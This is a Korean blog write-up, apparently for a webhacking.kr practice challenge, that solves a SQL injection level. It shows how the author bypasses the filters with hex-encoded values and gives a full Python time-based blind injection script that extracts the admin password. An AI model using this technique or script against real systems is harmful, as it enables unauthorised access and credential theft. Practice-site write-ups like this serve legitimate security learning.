728x90

이번 문제는 sql injection인걸 바로 알 수 있다.
guest 계정의 no, id , pw가 기본값으로 입력되어 있어 쉽게 로그인할 수 있다.
아마 admin계정으로 로그인하는게 아닌가 예상된다.

no, id ,pw 모두 get으로 전송되고 있고 3개의 파라미터 중 어느 파라미터를 이용할지 확인해봐야 한다.






각각 3개의 파라미터에 간단한 sql을 넣어보니 no만 참으로 sql문이 인식되는 걸 확인했다.
추가로 확인해 본 결과 no파라미터는 공백, and, or, ', "가 필터링된 걸 확인했다.
'가 필터링되어 있으니 hex값으로 id=0x61646d696e형태로 2||id=0x61646d696e%23을 넣어보니

admin password를 입력하라는 창이 출력된다.
이로써 admin이라는 계정이 있는 것이 확실하게 되었으므로 바로 blind injection을 시도했다.
여러 방법이 있지만 나는 time base로 시도했다.
import requests
import time
pw=""
url="https://webhacking.kr/challenge/web-29/"
cookies={"PHPSESSID":"자신의 쿠키값"}
string="1234567890qwertyuiopasdfghjklzxcvbnm}{][!@#$%^&*)(-_"
for i in range(1,100):
start=time.time()
res=requests.get(url+f"?no=2||id=0x61646d696e%26%26if(length(pw)={i},sleep(3),0)%23&id=guest&pw=guest",cookies=cookies)
end=time.time()
if end-start>2:
length = i
print("length:",i)
break
for i in range(1,length+1): #pw구하기
print(f"{i}번째")
for j in range(30,128):
start=time.time()
res=requests.post(url+f"?no=2||id=0x61646d696e%26%26if(hex(substr(pw,{i},1))=hex({j}),sleep(3),0)%23&id=guest&pw=guest",cookies=cookies)
# '가 필터링되어있으므로 hex값을 이용해 pw를 비교
end=time.time()
if end-start>2:
pw+=chr(j)
print("pw:",pw)
break
print("password:",pw)


728x90
'Web > Webhacking.kr' 카테고리의 다른 글
| Webhacking.kr Challenge old-29 문제 풀이 (0) | 2024.04.08 |
|---|---|
| Webhacking.kr Challenge old-48 문제 풀이 (0) | 2024.04.02 |
| Webhacking.kr Challenge old-44 문제 풀이 (0) | 2024.03.26 |
| Webhacking.kr Challenge old-35 문제 풀이 (0) | 2024.03.24 |
| Webhacking.kr Challenge RPG1 문제 풀이 (0) | 2024.03.22 |